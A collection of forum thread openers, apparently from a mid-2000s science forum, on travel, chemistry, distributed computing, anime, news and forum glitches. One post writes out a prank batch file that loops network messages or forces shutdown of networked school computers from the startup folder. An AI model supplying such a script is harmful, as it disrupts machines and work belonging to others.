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I'm back from my trip to England (Have been for almost a week, but this is the first time I've had a chance to mention it between digging out from piled up work and recovering from a cold that nailed me the day after I came home.) Anyway - the wedding went off fine, the happy couple took off for the Greek Isles, and my cousin took me sight-seeing around her corner of Suffolk. I saw a working tidemill at Woodbridge, the Anglo-Saxon burial site at Sutton Hoo, the House in the Clouds at Thorpeness, and Suffolk Punch draft horses. Visited Bawdsey, Woodbridge, Ipswich, Orford and Aldeburgh, and innumerable small villages. Talked to lots of local people, didn't get into a…

I couldn't find the proper key combination to write the subscript part of it but is this correct? H5C3O would mean Five Hydrogen Atoms, Three Carbon Atoms and One Oxygen?

well, i go to a public school and i get pretty mad at it sometimes. so i just mosy on into the library and write out a pretty nifty little batch file called batch1.bat heres what is in it: @echo off :start net send * "stop failing me" or net send * "your computer is going to blow up" goto start or if i am really mad replace net send with this shutdown -s -f -m \\* -c "The MATRIX has you!" then after all that, i stick it in the startup folder so the batch files start up with the computer and it totally screws them over. i was just wondering if any of you nice people have ever done something similar to that at school or at your jobs…

Hey guys, My name is Quiintus, I am new to these forums. I need help finding high resolution pictures of these photo's- Orion Deep Field and Rosette. Any help here would be much appreciated cos it's for my bands demo. My brother couldn't find any higher res pics and so we can't make posters, t-shirts ect... without it pixelating. By the way my bands name is Chaos Theory. If you guys wanna check us out we are an Iron Maiden, Bruce Dickinson, Blaze, Metallica, Megadeth influenced type band, just follow the link below. http://www.mp3.com.au/ChaosTheory/ Cheers Quiintus

Lately Ive been into distributed computing, like SETI, Folding, and UD...how about everyone else? I found this awesome website with loads of distributed computing projects! http://www.aspenleaf.com/distributed/ap-science.html I hope that this will influence more people to join up and help out!!

You know those ones where they make those faces with big eyes, and shout at each other etc. etc. cos I have watched too much action now, and just saw Naruto ep 101. and i found it hilarious. recommend me some funny anime pls

Hi, Can somebody mention me any site, where I could send my writing (without charge) such as stories, poems etc. Thanks

http://www.cnn.com/2004/SHOWBIZ/Movies/10/11/obit.reeve.ap/index.html Christopher Reeve, the star of the "Superman" movies whose near-fatal riding accident nine years ago turned him into a worldwide advocate for spinal cord research, died Sunday of heart failure, his publicist said. He was 52. Reeve fell into a coma Saturday after going into cardiac arrest while at his New York home, his publicist, Wesley Combs, told The Associated Press by phone from Washington, D.C., on Sunday night. Reeve was being treated at Northern Westchester Hospital for a pressure wound that he developed, a common complication for people living with paralysis. In the past week, t…

Do you like my avatar? I think it's appropriate, considering how DUMB!!!! people are these days.

I have seen about the info of world top 10 unversities, and most of them were from USA and some of them from UK...... I am just wondering, Lets say , if you study maths, ComSci, PHysics, or Medicine, etc, What is the general "difference" on the purpose of their study in Science between UK and US universities?

What may modern life be like if gunpowder had not been discovered?

Hey guys, I saw a thread dedicated to Seti@Home, but I ran some searches and found nothing on Folding@Home (aside from a few posts in that mammoth SETI thread). Anyway, I was wondering if anyone was interested in this program. It's a distributed computing program run by Stanford Univeristy just like SETI. Basically, you run protein folding simulations for them and teh results are used for medicinal research in order to find cures for related diseases like cancer and Parkninson's. With all these members, you guys would make one crazy folding team!!! There are also a lot of other team that would love to have you along if you wanted to join. If you're interested, click the l…

What is the name in small font under our usernames? (atom, quark, primate etc.)

Are you: A) A member who lurks on the forums all the time, just waiting for a post to happen. B) Someone who pops in and quickly checks for new posts, then leaves. C) Someone who only comes on if they have to ask a question. D) Someone that comes rarely and stays a while to read all the posts. I used to be an A, but now I'm a B.

there`s been a new website opened up today giving UKers a chance to see what risk their area is in for a flood. http://www.environment-agency.gov.uk/?lang=_e just enter your post code in the box in the right hand column for a reasonably detailed map.

who wants Gmail i have 4 to give, so if anybody wants one just PM me

What is your favroite cola brand

hey guys and or girls, i am max im 16 and i live in ontario canada. i was woundering if any of you could help me out with a little idea i have. (sorry for the spelling mistakes in advance) i know pop has caron dioxide which when in your stomac will make you burp. my friend whet in for a xray of his stomac and they gave him some stuff that was rich in carbon dioxide or bicarbonates or something that yielded alot of carbon dioxide gas to fill up his stumac so it could get xrays then he lat out a huge burp and it went away so i was thinking what is there that yields alot of carbon dioxide or other expanding gases. thats the first part of my idea, part two onc…

Is this true? That for example here in the states Bush has been raisingly terror alarms repeatedly without any real signs and now alot of people could care less. What could be done about it as well?

How does one define a hero? Is it acting for the good of others as Joseph Campbell explains in one of his interviews, or is it more based on survival of one's self before the survival of another, as Ayn Rand explains in her book "Fountainhead"? How do you describe a hero? What makes them a hero? Who do you agree with more- Campbell or Rand (altruism or self-sufficiency)?

i think as some of us have gathered, SFN has been down - however i got the strangest message when i tried to load a thread:

Ok, so I do alot of wrench turning. I've been rebuilding a datsun truck L20B engine this past weekend. While we were assembling pieces and parts, one of us had a question we can't think of a good answer. When dealing with tools, in this case, ratchets and sockets, we have a 1/4 drive, a 3/8 drive and a 1/2 drive. Obviously since 1/4, 3/8 and 1/2 are standard measurements, I was curious how ratchets are labeled in the UK or somewhere that uses the metric system. I know 3/8 is close to 10mm, 1/2 to 13mm, is this the answer?

NOT THE KENNEDYS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Do you like the show?

Just about an hour ago, the white and blue on the forum switched around... for me, anyways. Then I hit "post new thread" and the box to type in was beige and you couldn't actually type. WHAT IS GOING ON? rrrgh!

Should the government impose mandatory limits on greenhouse gases?